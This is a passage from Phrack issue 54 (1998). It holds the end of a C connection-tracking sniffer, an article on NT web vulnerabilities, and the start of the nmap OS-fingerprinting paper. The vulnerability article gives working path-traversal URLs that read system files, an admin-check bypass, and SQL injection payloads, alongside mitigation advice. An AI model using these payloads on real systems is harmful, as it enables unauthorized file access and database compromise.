        for(i=0;i<(ntohs(udp_hdr->uh_ulen)-UDP_H);i++)
            if (d_ptr[i]=='\n')
               printf("\n");
            else if (d_ptr[i]>0x19 && d_ptr[i]<0x7F)
                    printf("%c",d_ptr[i]);
                 else
		    printf(".");
	
	printf("\n");
	break;

 	default:
	/* We ignore everything else */
	break;
	}
	
}

void
clean_exit(int val) {

	int sfd,p=0;

        sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
        if (sfd<0) perror("socket()"),exit(1);
        if(setsockopt(sfd,IPPROTO_IP,IP_FW_FLUSH_OUT,&p,sizeof(p))<0)
        perror("setsockopt()"),exit(1);
        exit(0);
}


void
usage(char *arg) {
       	printf("%s: [options]\n"
               "  -i: The interface\n"
	       "  -l: Link offset\n"
               "  -s: Your source IP\n\n",arg);
        exit(0);
}

void
dump_db (struct conn *conn) {

	int i;
	

	for(i=0;conn[i].type;i++)
	   if(conn[i].type==IPPROTO_TCP)
	   printf("%d: TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n",
	           i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
	           host_lookup(htonl(conn[i].dst),0), conn[i].dport,
	           conn[i].seq,conn[i].ack);
	   else if(conn[i].type==IPPROTO_UDP)
	   printf("%d: UDP: %s.%d->%s.%d\n",
	           i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
	           host_lookup(htonl(conn[i].dst),0), conn[i].dport);
	  else break;


}


int
update_db( u_char *packet, int linkoff, struct conn *conn) {
	struct ip     *ip_hdr;
	struct tcphdr *tcp_hdr;
	struct udphdr *udp_hdr;
	int i=0;
	ip_hdr = (struct ip *)(packet + linkoff);

	switch(ip_hdr->ip_p) {

	case IPPROTO_TCP:
	tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));

	for(i=0;conn[i].type;i++)
	   if(conn[i].type==IPPROTO_TCP)
	    if(ip_hdr->ip_src.s_addr==htonl(conn[i].src))
             if(ip_hdr->ip_dst.s_addr==htonl(conn[i].dst))
	      if(ntohs(tcp_hdr->th_sport)==conn[i].sport)
	       if(ntohs(tcp_hdr->th_dport)==conn[i].dport)
                    break;

	if(conn[i].type) {
          conn[i].seq=ntohl(tcp_hdr->th_ack);
	  conn[i].ack=ntohl(tcp_hdr->th_seq); }
        else {
	  conn[i].type=IPPROTO_TCP;
	  conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
	  conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
	  conn[i].sport=ntohs(tcp_hdr->th_sport);
	  conn[i].dport=ntohs(tcp_hdr->th_dport);
          conn[i].seq=ntohl(tcp_hdr->th_ack);
	  conn[i].ack=ntohl(tcp_hdr->th_seq); }		

	break;

	case IPPROTO_UDP:
	udp_hdr=(struct udphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));

	for(i=0;conn[i].type;i++)
          if(conn[i].type==IPPROTO_TCP)
	    if(ntohl(ip_hdr->ip_src.s_addr)==conn[i].src)
       	     if(ntohl(ip_hdr->ip_dst.s_addr)==conn[i].dst)
	       if(ntohs(udp_hdr->uh_sport)==conn[i].sport)
	         if(ntohs(udp_hdr->uh_dport)==conn[i].dport) break;

	if(!conn[i].type) {
	  conn[i].type=IPPROTO_UDP;
	  conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
	  conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
	  conn[i].sport=ntohs(udp_hdr->uh_sport);
	  conn[i].dport=ntohs(udp_hdr->uh_dport); }

	break;
	default:
	/* We Don't care */
	break;
      }
      return i;

}

void
time_out(int blank) {
alarm(0);
siglongjmp(env,1);
}

/* EOF */
<-->

----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 8, Issue 54 Dec 25th, 1998, article 08 of 12


-------------------------[  NT Web Technology Vulnerabilities

              
--------[  rain.forest.puppy / [WT] <rfpuppy@iname.com>


*Note: most of the vulnerabilities in this document have NOT been made public;
they were discovered by rain.forest.puppy, or other members of WT.  Lots
of new toys out there on the Internet lately.  Seems like the web is the
way to go, and every software spigot is demanding they be 'web-enabled'.  A
lot are reinventing the wheel, bundling sub-standard web servers to serve up
their HTML and Java interface.

But this article isn't about them.  There's too many, and they're to easy to
use as vulnerable targets.  It's much more fun to find the needle in the
haystack, so I'm going to focus on some more common setups.  On to the show.


----[  IIS 4.0

IIS is not too bad as a web server.  It still doesn't compare to Apache, but
it has flexible scripting and server-side abilities.  But, of course,
everything has its price...

One interesting problem (and probably the only one that may be previously
published at the time of this writing) is that appending an ".idc" extension
to the end of a URL will cause IIS installations to try to run the so-called
.IDC through the database connector .DLL.  If the .IDC doesn't exist, than it
returns a rather informative page stating that it can't open
%documentroot%\<bogus name>.idc.  For example:

	"Cannot open c:\inetpub\wwwroot\index.html.idc"

Wow, absolute paths on the server.  Very interesting.  What good does this do?
Well, it gives you some insight and hints.  If you're trying to exploit CGI or
other server-based programs, knowing what drive you're on when trying to
access outside documents blindly helps a lot.  For example, if the IDC query
came back:

	f:\webs\1\index.html.idc

then you know you'll probably have to specify 'c:\' to get to any Windows NT
system files; you can't do silly stuff like:

	../../../../winnt/system/repair/sam._

since you're doing relative addressing, and staying on drive F.  Another
common return is something like"

	"Cannot open d:\20x.140.3x.25\index.html.idc"

Where the IP address is the full IP address of the webserver.  This usually
indicates that the site is on a system that's probably hosting multiple
websites.

Also, usually the site that's based in \inetpub\wwwroot is the 'default' site,
and may have other things associated with it (like sample files, etc...
We'll get to these later).  This is important to remember.


----[  FrontPage Webbots

A really quick recap on how webbots work:  Frontpage inserts some HTML comments
that specify the parameters of the webbot.  Then, the form is submitted to
/_vti_bin/shtml.dll, and the URL of the page is given.  shtml.dll reads through
the given page, and interprets the webbot/HTML comment code.

So, all the parameters that are involved in (most) webbots are embedded in the
HTML page themselves.  Let's take an example from a corporate site that makes
a very popular FTP suite (this is HTML code):

	<!--webbot BOT="GeneratedScript" endspan -->
	<form method="POST" action="../_vti_bin/shtml.dll/downloads/ftp.html" 
	name="FrontPage_Form1" webbot-action="--WEBBOT-SELF--">
	<!--webbot bot="SaveResults" 
	u-file="d:\us\product_downloads\download_log.csv"
	s-format="TEXT/CSV" s-label-fields="FALSE" s-builtin-fields="Date Time" 
	s-form-fields u-confirmation-url="../_confirmations/ftp.html"
	startspan -->

Notice that this site is saving the results to a file (and the fact that it
has "d:\.." says that it is a Windows-based server).  But the more important
part to notice is the 'u-confirmation-url' field.  This page has a large form
for you to fill in.  When you submit it, what you entered is saved in the
'u-file', and then you're redirected to 'u-confirmation-url'.  Don't want
to give all your personal information to them?  Well, just go to
'u-confirmation-url'.  In this case, this was a registration page for download
of the eval.  Since I got tired of filling out my information all the
time, I now just go to the confirmation URL and download away, bypassing the
form.

On a related note, if bot="SaveResults", and u-file is in the web structure
(which it happens to be a lot on virtually hosted accounts), you're able to
view the contents of the file.  For instance,

	<!--webbot bot="SaveResults" 
	u-file="/_private/download.log"
	s-format="TEXT/TEXT" s-form-fields startspan -->

means you can go to htp://site/_private/download.log and view all the info
everyone else entered.


----[  IIS 3.0 to IIS 4.0

There are several changes between IIS 3.0 and IIS 4.0.  Sure, MMC is
important and all, but there's something else even better: there are default
associations made between certain file extensions and .DLLs.  Let's look at a
particular example...

In IIS 3.0, you'd administer the website by going to http://site/iisadmin/,
which would pop over to using /scripts/iisadmin/ism.dll, and routing the
various .HTR files in that directory through itself.  The .HTR files are
relatively useless without ism.dll to process them, and ism.dll has hard-coded 
authentication built into it.

Now, upgrade from IIS 3.0 to 4.0.  You now administer your site through
http://localhost:5416/.  What about all those .HTRs in /scripts/iisadmin?
They're still there, unless you actually deleted them.  And the problem?
IIS 4.0 associates all .HTRs with a new and improved ism.dll, which contains
no hard-coded authentication.  So now, whenever you request a .HTR file,
IIS will happily process it for you, not caring about authentication.  You
can now use the .HTR files in /scripts/iisadmin to your liking.  Kinda.
None of them work, due to so many changes. EXCEPT FOR ONE: bdir.htr.  bdir.htr
seems to still be happy, and gladly shows you all the directories on any
drive.  You can navigate all the server's drives (and network mappings), but
all you get to see is directories (no files).  In case you're wondering, you
can tell bdir.htr where to look by doing

	/scripts/iisadmin/bdir.htr??<path>
ie:
	/scripts/iisadmin/bdir.htr??d:\webs\

I haven't played with the other file extensions, but there's a half-dozen or
so that IIS will now happily process (the normal ones like .ASP, .IDC, .HTR,
and other unfamiliar ones like .HTW, .IDQ, .IDA, .CER, etc).


----[  Sample pages

While it's not a good idea to put included sample pages and applications on a
public server, still many places do.  IIS 4.0 includes a rather large and
comprehensive demo site called 'Exploration Air', which employs many IIS 4.0
web technologies.  An interesting feature is the 'How It Works' button on the
bottom of every page, which takes you to a script that parses the pages code
into colorful tags.  This is a problem.

It uses the Scripting.FileSystemObject to request the page.  Luckily, it will
only let you use virtual paths; unfortunately, it allows the use of /../ to
escape to higher directories, including up into the root directory.  This
allows it to open any file on the same drive.  Using the .IDC bug above to
determine where the file rests, you can determine if you can get to WinNT
system files.  You can also view the code of any page application (.ASP,
.CFM, .IDC, etc).  For example:

http://site/iissamples/exair/howitworks/codebrws.asp?source=/../../boot.ini

could show the Windows NT boot.ini file.  It's used in the ExAir sample site,
as shown above, and also the SDK, if installed, at
http://site/iissamples/sdk/asp/docs/codebrws.asp


----[  Cold Fusion app.server 3.1

Cold Fusion is a rather creative scripting language; it's a nice front end
to ODBC database connections.  But I wouldn't be mentioning it here if it
didn't have any problems.

Like IIS 4.0, there's a few alarming things with the sample pages included
with CF.  One is the Expression Evaluator at:

	http://site/cfdocs/expeval/eval.cfm

They have a security check.  It calls check_ip.cfm, which allows access only
from 127.0.0.1 (localhost).  Bummer, we can't run raw code on the server.
But, let's check out:

	http://site/cfdocs/expeval/exprcalc.cfm

It still doesn't do us any good, because it still uses eval.cfm to process
the expression(s) we enter.  But, there's something more interesting: the
expression calculator lets us save and load files of expressions to
evaluate.  And it just so happens that exprcalc.cfm is the form used to
LOAD files.  And it let's us load any file we want.  For instance:

	http://site/cfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\boot.ini

will display the contents of boot.ini in the window.  Just like the IIS
codebrws.asp program, we can use it to look at any file we want.  However,
exprcalc.cfm lets us specify other drive letters, while codebrws.asp is
limited to only the current drive.


----[  Anonymous Mail

Very simply and quickly,

	/cfdocs/expeval/sendmail.cfm?MailFrom=&MailTo=&Subject=&Message=

lets you send email.  Not exactly a security breach, but not pleasant either. 
You must fill in the variable values.


----[ Proxy Problems

This is an interesting problem brought about not only by CF, but possibly
proxy software in general.  CF includes an 'http client' application in

	/cfdocs/examples/httpclient/mainframeset.cfm

which lets you type in an URL, and it will show you the HTML code in the
bottom window.  Now, let's say, remotely I try to administer the IIS 4.0
server that CF is running on by going to http://site:5416/.  I get an error
stating I have to be local (127.0.0.1).  Now, I go to the http-client CF
application on that same server.  For the URL, I type "http://localhost:5416".
I get the correct page as the result.  I have effectively bypassed the
security check.  Using GET commands in the CF http-client application, I can
administrate the server.

What's really interesting in theory is that applications like this, and proxys
in general, can be used to abuse trust relationships and 'localhost only'
security.  It'd be interesting in hearing what other people find along this
line.  One example:

I surf to a company's firewall/web proxy from the 'outside'.  I get an error
stating 'Denied/Unauthorized Access'.  I then request from their proxy
'GET http://localhost/'; and now I get the 'inside' web page with instructions
on how to use the proxy correctly to get out.  Yes, there's obvious setup
problems (allowing outside requests), but that's not the point...


----[  ODBC and MS SQL server 6.5

Ok, topic change again.  Since we've hit on web service and database stuff,
let's roll with it.  Onto ODBC and MS SQL server 6.5.

I worked with a fellow WT'er on this problem.  He did the good thing and told
Microsoft, and their answer was, well, hilarious.  According to them,
what you're about to read is not a problem, so don't worry about doing
anything to stop it.

- WHAT'S THE PROBLEM?  MS SQL server allows batch commands.

- WHAT'S THAT MEAN?  I can do something like:

	SELECT * FROM table WHERE x=1 SELECT * FROM table WHERE y=5

Exactly like that, and it'll work.  It will return two record sets, with each
set containing the results of the individual SELECT.

- WHAT'S THAT REALLY MEAN?  People can possibly piggyback SQL commands into
your statements.  Let's say you have:

	SELECT * FROM table WHERE x=%%criteria from webpage user%%

Now, what if %%criteria from webpage user%% was equal to:

	SELECT * FROM sysobjects

It would translate to:

	SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects

which would be valid SQL and execute (both commands).  But wait, there's more.
Say you had:

	SELECT * FROM table WHERE x=%%criteria%% AND y=5

If we used our above example, we'd get:

	SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects AND y=5

which isn't valid SQL, and won't work.  Well, there's a comment indicator,
which tells MS SQL server to just ignore the rest of the line.  If criteria is
"1 SELECT * FROM sysobjects --", then the '--' causes the rest of the
statement ("AND y=5") to be ignored.

- WHAT FILES OF MINE ARE AFFECTED?  Well, ASP and IDC files are problematic.
At least you can fix ASP files, but you're kinda stuck when it comes to
IDCs.

- EXACTLY HOW ARE IDCs AFFECTED?  Say we wanted to query a database of 
names=phone #s, where the user gives us a name, and we supply all the 
matching phone numbers.  A Sql call like 

	SELECT * FROM phonetable WHERE NAME='namewewant'

would work.  However, we need to dynamically specify "namewewant" to be
the name the user does want.  So, if we write the Sql statement:

	SELECT * FROM phonetable WHERE NAME='%name%'

And in our HTML form, we have an input box called 'name'.  If this .idc
was called 'phone.idc', we'd call it:  

	http://site/phone.idc?name=rfp

The server would place "rfp" in place of %name%, and query the SQL server
to select * where name='rfp'.

Now, stick more commands on the line. Executing our phone.idc from above
like so:

	phone.idc?name=rfp select * from table2

would lead to an expanded Sql query in the .idc to

	SELECT * FROM phonetable WHERE name='rfp select * from table2'

Semi-close, but the single quotes cause all of the stuff to be the
selection criteria.  What if we introduced OUR OWN single quote?

	phone.idc?name=rfp' select * from table2 --

would be

	SELECT * FROM phonetable WHERE name='rfp' select * from table2 --'

We need to add the comment to get rid of the trailing single quote.  BUT...
.idc's are smart...they will escape a single quote into two single quotes,
which indicate a data single quote. I.e.

	phone.idc?name=rfp' command

will become

	SELECT * FROM phonetable WHERE name='rfp'' command'

And since two '' make one data ', the table will be queried for a column
that matches: 

	"rfp' command"

Now wait, if .idc's protect against this, then why the hell am I wasting
my breath? You see, they're still vulnerable.  They suck when they secretly
put an extra single quote into the SQL string.  But....when you query numeric
values, you don't use single quotes; single quotes are only for strings.  So,
lets's say we want to use our phone number database, but give a phone number,
and look up the associated name.  We'll also say that phone numbers are
stored as long ints (numeric values), rather than strings, since we need a
numeric entry for this example.

So, I want to know who has the phone number 5551212.  A hardcoded SQL call
would be

	SELECT * FROM phonetable WHERE phone=5551212

And the variable version (in an .idc):

	SELECT * FROM phonetable WHERE phone=%phonenum%

Whoa!  No single quotes to worry about.  Now we just do a simple:

	phone.idc?phonenum=5551212 select * from table1

And that expands to

	SELECT * FROM phonetable WHERE phone=5551212 select * from table1

- ARE THERE ANY .IDCs SOMEONE COULD USE AGAINST ME?  Glad you asked.  There's
a file included with IIS 3.0 in the /scripts/tools directory, called ctss.idc,
which has a SQL statement like:

	CREATE TABLE %table% (...table defs...)

This is simple to exploit.  Since you stuck with the inital 'CREATE TABLE',
you must finish that to be a valid command.  Giving a table name and a simple
column definition will be sufficient.  And then we tack on our command, and
then a '--' to ignore the rest of the table defs.  So,

	ctss.idc?table=craptable (f int) select * from table1 --

Would give us

	CREATE TABLE craptable (f int) select * from table1 -- \
		(...table defs...)

(However, with ctss.idc, you need to know the DSN, UID, and PWD beforehand...
so you're somewhat safe)

- EXACTLY HOW ARE ASPs AFFECTED?  Typical ADODB code looks something
like:

	<% SQLquery="SELECT * FROM phonetable"
	Set Conn = Server.CreateObject("ADODB.Connection")
	Conn.Open "DSN=websql;UID=sa;PWD=pwd;DATABASE=master"
	Set rec = Server.CreateObject("ADODB.RecordSet")
	rec.ActiveConnection=Conn
	rec.Open SQLquery %>

Which essentially performs a SELECT * FROM phonetable on the websql DSN,
using user=sa, pwd=pwd, on database=master.  Then you use fancy formating
of 'rec' to display the output in ASP.

Well, let's take into account user supplied variables now.

	<% SQLquery="SELECT * FROM phonetable WHERE name='" & _
	request.querystring("name") & "'"
	Set Conn = Server.CreateObject("ADODB.Connection")
	Conn.Open "DSN=websql;UID=sa;PWD=pwd;DATABASE=master"
	Set rec = Server.CreateObject("ADODB.RecordSet")
	rec.ActiveConnection=Conn
	rec.Open SQLquery %>

So, now our variable "name" is stuck into the SQLquery string, between the
two ' '.  Guess what?!  ASP doesn't care about single quotes.  It won't be
smart like an .IDC and put in the extra ' to make the command ' into a
data '.  So, what does the SQLquery string look like when we call it like
phone.idc?  Let's say the above is phone.asp:

	phone.asp?name=rfp' select * from table1 --

Gives us SQLquery that is:

	SELECT * FROM phonetable WHERE name='rfp' select * from table1 --'

Which works.  No sweat.

I'm sure some interesting questions come to mind:

- BUT I DON'T KNOW THE DSN NAME, LOGIN NAME, OR PASSWORD!  You don't need
them.  The developer of the page that contains the SQL will already take care
of that.  We're piggy-backing SQL commands onto a command that will work
(otherwise, the page/application wouldn't work normally anyway!).  If the
normal page can get to the SQL server through a firewall, VPN, etc, then so
can this command.  It can, and will, go wherever the normal pages/SQL can
go.

- BUT I CAN'T VIEW THE SECOND RETURNED RECORDSET!  Yes, this is a problem
most of the time.  Not too many applications are built assuming multiple
recordset returns, so usually don't cooperate.  But, let me just say
there's a stored procedure in SQL that lets you email results of a command
to anywhere....you don't need to see the results in your web browser.

- BUT WHAT GOOD IS RUNNING MORE SQL COMMANDS?  My friend, my friend.  Think
bigger.  Think better.  Think stored procedures.  I'm not going to include
exploit examples, because that's not what this is about.  This is simply to
show that the problem exists.

- BUT WHAT IF THEY HAVE COMPLEX SQL COMMANDS?  Yes, this can be tricky, but
it's still possible.  Think of it like writing a buffer overflow.  ;-)  If
we have:

	SELECT * FROM table WHERE ((x=%%criteria) AND (y=5))

then we have parentheses to deal with.  But still doable.  The goal is to
close out any open parentheses opened before the piggybacked SQL statement,
and use -- (comment) to ignore anything after.

- HOW CAN I PROTECT MYSELF?  Put quotes around every string taken from the
web user that's used in your SQL statement, and also change any single
quotes (') into double single quotes ('')--this protects everything.  In case
of numeric criteria, check to see that the numeric string given back is,
in fact, all numbers. And since you can't do any of the above in IDCs,
switch to ASP.  Don't allow access to any of the SQL servers extended
procedures.  Best of all, don't use raw SQL in your web applications;
called custom stored  procedures on the SQL server, and pass the web
user's dynamic criteria as parameters.

Note: we've only had the time (and resources) to conduct batch SQL
vulnerabilities against MS SQL server 6.5.  We'd be interested in hearing
from other people if other DB platforms (Oracle, Informix, etc) are also
vulnerable.


----[  Conclusion

Well, that about wraps it up for now.  What are the morals to the above
stories?

- Don't use sample files/applications on public/production servers.
- Don't use 'local-host only' security, especially on proxys.
- Watch what exactly is changed when you upgrade.
- Don't assume user's input is ok for SQL queries.

In short, use your brain.  Till next time, have fun.

rain.forest.puppy / [WT]         rfpuppy@iname.com

----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 8, Issue 54 Dec 25th, 1998, article 09 of 12


-------------------------[  Remote OS detection via TCP/IP Stack FingerPrinting



--------[  Fyodor <fyodor@dhp.com> (www.insecure.org) October 18, 1998


----[  ABSTRACT

This paper discusses how to glean precious information about a host by querying
its TCP/IP stack.  I first present some of the "classical" methods of
determining host OS which do not involve stack fingerprinting.  Then I
describe the current "state of the art" in stack fingerprinting tools.  Next
comes a description of many techniques for causing the remote host to leak
information about itself.  Finally I detail my (nmap) implementation of this,
followed by a snapshot gained from nmap which discloses what OS is running on
many popular Internet sites.


----[  REASONS

I think the usefulness of determining what OS a system is running is pretty
obvious, so I'll make this section short.  One of the strongest examples of
this usefulness is that many security holes are dependent on OS version.  Let's
say you are doing a penetration test and you find port 53 open.  If this is a
vulnerable version of Bind, you only get one chance to exploit it since a
failed attempt will crash the daemon.  With a good TCP/IP fingerprinter, you
will quickly find that this machine is running 'Solaris 2.51' or 'Linux 2.0.35'
and you can adjust your shellcode accordingly.

A worse possibility is someone scanning 500,000 hosts in advance to see what
OS is running and what ports are open.  Then when someone posts (say) a root
hole in Sun's comsat daemon, our little cracker could grep his list for
'UDP/512' and 'Solaris 2.6' and he immediately has pages and pages of rootable
boxes.  It should be noted that this is SCRIPT KIDDIE behavior.  You have
demonstrated no skill and nobody is even remotely impressed that you were able
to find some vulnerable .edu that had not patched the hole in time.  Also,
people will be even _less_ impressed if you use your newfound access to deface
the department's web site with a self-aggrandizing rant about how damn good
you are and how stupid the sysadmins must be.

Another possible use is for social engineering.  Lets say that you are scanning
 your target company and nmap reports a 'Datavoice TxPORT PRISM 3000 T1
CSU/DSU 6.22/2.06'.  The hacker might now call up as 'Datavoice support' and
discuss some issues about their PRISM 3000.  "We are going to announce a
security hole soon, but first we want all our current customers to install the
patch -- I just mailed it to you..."  Some naive administrators might assume
that only an authorized engineer from Datavoice would know so much about their
CSU/DSU.

Another potential use of this capability is evaluation of companies you may
want to do business with.  Before you choose a new ISP, scan them and see what
equipment is in use.  Those "$99/year" deals don't sound nearly so good when
you find out they have crappy routers and offer PPP services off a bunch of
Windows boxes.


----[  CLASSICAL TECHNIQUES

Stack fingerprinting solves the problem of OS identification in a unique way.
I think this technique holds the most promise, but there are currently many
other solutions.  Sadly, this is still one the most effective of those
techniques:

playground~> telnet hpux.u-aizu.ac.jp
Trying 163.143.103.12...
Connected to hpux.u-aizu.ac.jp.
Escape character is '^]'.

HP-UX hpux B.10.01 A 9000/715 (ttyp2)

login: 

There is no point going to all this trouble of fingerprinting if the machine
will blatantly announce to the world exactly what it is running!  Sadly, many
vendors ship _current_ systems with these kind of banners and many admins do
not turn them off.  Just because there are other ways to figure out what OS is
running (such as fingerprinting), does not mean we should just announce our OS
and architecture to every schmuck who tries to connect.

The problems with relying on this technique are that an increasing number of
people are turning banners off, many systems don't give much information, and
it is trivial for someone to "lie" in their banners.  Nevertheless, banner
reading is all you get for OS and OS Version checking if you spend thousands of
dollars on the commercial ISS scanner.  Download nmap or queso instead and
save your money :).

Even if you turn off the banners, many applications will happily give away
this kind of information when asked.  For example lets look at an FTP server:

payfonez> telnet ftp.netscape.com 21
Trying 207.200.74.26...
Connected to ftp.netscape.com.
Escape character is '^]'.
220 ftp29 FTP server (UNIX(r) System V Release 4.0) ready.
SYST
215 UNIX Type: L8 Version: SUNOS

First of all, it gives us system details in its default banner.  Then if we
give the 'SYST' command it happily feeds back even more information.

If anon FTP is supported, we can often download /bin/ls or other binaries and
determine what architecture it was built for.

Many other applications are too free with information.  Take web servers for
example:

playground> echo 'GET / HTTP/1.0\n' | nc hotbot.com 80 | egrep '^Server:' 
Server: Microsoft-IIS/4.0
playground>

Hmmm ... I wonder what OS those lamers are running.

Other classic techniques include DNS host info records (rarely effective) and
social engineering.  If the machine is listening on 161/udp (snmp), you are
almost guaranteed a bunch of detailed info using 'snmpwalk' from the CMU SNMP
tools distribution and the 'public' community name.


----[  CURRENT FINGERPRINTING PROGRAMS

Nmap is not the first OS recognition program to use TCP/IP fingerprinting.
The common IRC spoofer sirc by Johan has included very rudimentary
fingerprinting techniques since version 3 (or earlier).  It attempts to place
a host in the classes "Linux", "4.4BSD", "Win95", or "Unknown" using a few
simple TCP flag tests.

Another such program is checkos, released publicly in January of this year by
Shok of Team CodeZero in Confidence Remains High Issue #7.  The fingerprinting
techniques are exactly the same as SIRC, and even the _code_ is identical in
many places.  Checkos was privately available for a long time prior to the
public release, so I have no idea who swiped code from whom.  But neither
seems to credit the other.  One thing checkos does add is telnet banner
checking, which is useful but has the problems described earlier.

Su1d also wrote an OS checking program.  His is called SS and as of Version
3.11 it can identify 12 different OS types.  I am somewhat partial to this one
since he credits my nmap program for some of the networking code :).

Then there is queso.  This program is the newest and it is a huge leap forward
from the other programs.  Not only do they introduce a couple new tests, but
they were the first (that I have seen) to move the OS fingerprints _out_ of
the code.  The other scanners included code like:

/* from ss */
if ((flagsfour & TH_RST) && (flagsfour & TH_ACK) && (winfour == 0) && 
   (flagsthree & TH_ACK))
       reportos(argv[2],argv[3],"Livingston Portmaster ComOS");

Instead, queso moves this into a configuration file which obviously scales
much better and makes adding an OS as easy as appending a few lines to a
fingerprint file.

Queso was written by Savage, one of the fine folks at Apostols.org.

One problem with all the programs describe above is that they are very limited
in the number of fingerprinting tests which limits the granularity of answers.
I want to know more than just 'this machine is OpenBSD, FreeBSD, or NetBSD', I
wish to know exactly which of those it is as well as some idea of the release
version number.  In the same way, I would rather see 'Solaris 2.6' than simply
'Solaris'.  To achieve this response granularity, I worked on a number of
fingerprinting techniques which are described in the next section.


----[  FINGERPRINTING METHODOLOGY

There are many, many techniques which can be used to fingerprint networking
stacks.  Basically, you just look for things that differ among operating
systems and write a probe for the difference.  If you combine enough of these,
you can narrow down the OS very tightly.  For example nmap can reliably
distinguish Solaris 2.4 vs. Solaris 2.5-2.51 vs Solaris 2.6.  It can also tell
Linux kernel 2.0.30 from 2.0.31-34 or 2.0.35.  Here are some techniques:

The FIN probe -- Here we send a FIN packet (or any packet without an
    ACK or SYN flag) to an open port and wait for a response.  The
    correct RFC793 behavior is to NOT respond, but many broken
    implementations such as MS Windows, BSDI, CISCO, HP/UX, MVS, and
    IRIX send a RESET back.  Most current tools utilize this
    technique.

The BOGUS flag probe -- Queso is the first scanner I have seen to use
    this clever test.  The idea is to set an undefined TCP "flag" ( 64
    or 128) in the TCP header of a SYN packet.  Linux boxes prior to
    2.0.35 keep the flag set in their response.  I have not found any
    other OS to have this bug.  However, some operating systems seem
    to reset the connection when they get a SYN+BOGUS packet.  This 
    behavior could be useful in identifying them.
			
TCP ISN Sampling -- The idea here is to find patterns in the initial
    sequence numbers chosen by TCP implementations when responding to
    a connection request.  These can be categorized in to many groups
    such as the traditional 64K (many old UNIX boxes), Random
    increments (newer versions of Solaris, IRIX, FreeBSD, Digital
    UNIX, Cray, and many others), True "random" (Linux 2.0.*, OpenVMS,
    newer AIX, etc).  Windows boxes (and a few others) use a "time
    dependent" model where the ISN is incremented by a small fixed
    amount each time period.  Needless to say, this is almost as
    easily defeated as the old 64K behavior.  Of course my favorite
    technique is "constant".  The machines ALWAYS use the exact same
    ISN :).  I've seen this on some 3Com hubs (uses 0x803) and Apple
    LaserWriter printers (uses 0xC7001).

    You can also subclass groups such as random incremental by
    computing variances, greatest common divisors, and other functions
    on the set of sequence numbers and the differences between the
    numbers.

    It should be noted that ISN generation has important security
    implications.  For more information on this, contact "security
    expert" Tsutomu "Shimmy" Shimomura at SDSC and ask him how he was
    owned.  Nmap is the first program I have seen to use this for OS
    identification.

Don't Fragment bit -- Many operating systems are starting to set the
    IP "Don't Fragment" bit on some of the packets they send.  This
    gives various performance benefits (though it can also be annoying
    -- this is why nmap fragmentation scans do not work from Solaris
    boxes).  In any case, not all OS's do this and some do it in
    different cases, so by paying attention to this bit we can glean
    even more information about the target OS.  I haven't seen this
    one before either.

TCP Initial Window -- This simply involves checking the window size on
    returned packets.  Older scanners simply used a non-zero window on
    a RST packet to mean "BSD 4.4 derived".  Newer scanners such as
    queso and nmap keep track of the exact window since it is actually
    pretty constant by OS type.  This test actually gives us a lot of
    information, since some operating systems can be uniquely
    identified by the window alone (for example, AIX is the only OS I
    have seen which uses 0x3F25).  In their "completely rewritten"
    TCP stack for NT5, Microsoft uses 0x402E.  Interestingly, that is
    exactly the number used by OpenBSD and FreeBSD.

ACK Value -- Although you would think this would be completely
    standard, implementations differ in what value they use for the
    ACK field in some cases.  For example, lets say you send a
    FIN|PSH|URG to a closed TCP port.  Most implementations will set
    the ACK to be the same as your initial sequence number, though
    Windows and some stupid printers will send your seq + 1.  If you
    send a SYN|FIN|URG|PSH to an open port, Windows is very
    inconsistent.  Sometimes it sends back your seq, other times it
    sends S++, and still other times is sends back a seemingly random
    value.  One has to wonder what kind of code MS is writing that
    changes its mind like this.

ICMP Error Message Quenching -- Some (smart) operating systems follow
    the RFC 1812 suggestion to limit the rate at which various error
    messages are sent.  For example, the Linux kernel (in
    net/ipv4/icmp.h) limits destination unreachable message generation
    to 80 per 4 seconds, with a 1/4 second penalty if that is
    exceeded.  One way to test this is to send a bunch of packets to
    some random high UDP port and count the number of unreachables
    received.  I have not seen this used before, and in fact I have
    not added this to nmap (except for use in UDP port scanning).
    This test would make the OS detection take a bit longer since you
    need to send a bunch of packets and wait for them to return.  Also
    dealing with the possibility of packets dropped on the network
    would be a pain.

ICMP Message Quoting -- The RFCs specify that ICMP error messages
    quote some small amount of an ICMP message that causes various
    errors.  For a port unreachable message, almost all
    implementations send only the required IP header + 8 bytes back.
    However, Solaris sends back a bit more and Linux sends back even
    more than that.  The beauty with this is it allows nmap to
    recognize Linux and Solaris hosts even if they don't have any
    ports listening.

ICMP Error message echoing integrity -- I got this idea from something
   Theo De Raadt (lead OpenBSD developer) posted to
   comp.security.unix.  As mentioned before, machines have to send
   back part of your original message along with a port unreachable
   error.  Yet some machines tend to use your headers as 'scratch
   space' during initial processing and so they are a bit warped by
   the time you get them back.  For example, AIX and BSDI send back an
   IP 'total length' field that is 20 bytes too high.  Some BSDI,
   FreeBSD, OpenBSD, ULTRIX, and VAXen fuck up the IP ID that you sent
   them.  While the checksum is going to change due to the changed
   TTL anyway, there are some machines (AIX, FreeBSD, etc.) which send
   back an inconsistent or 0 checksum.  Same thing goes with the UDP
   checksum.  All in all, nmap does nine different tests on the ICMP
   errors to sniff out subtle differences like these.

Type of Service -- For the ICMP port unreachable messages I look at
   the type of service (TOS) value of the packet sent back.  Almost
   all implementations use 0 for this ICMP error although Linux uses
   0xC0.  This does not indicate one of the standard TOS values, but instead is
   part of the unused (AFAIK) precedence field.  I do not know why
   this is set, but if they change to 0 we will be able to keep
   identifying the old versions _and_ we will be able to identify
   between old and new.

Fragmentation Handling -- This is a favorite technique of Thomas
   H. Ptacek of Secure Networks, Inc (now owned by a bunch of Windows
   users at NAI).  This takes advantage of the fact that different
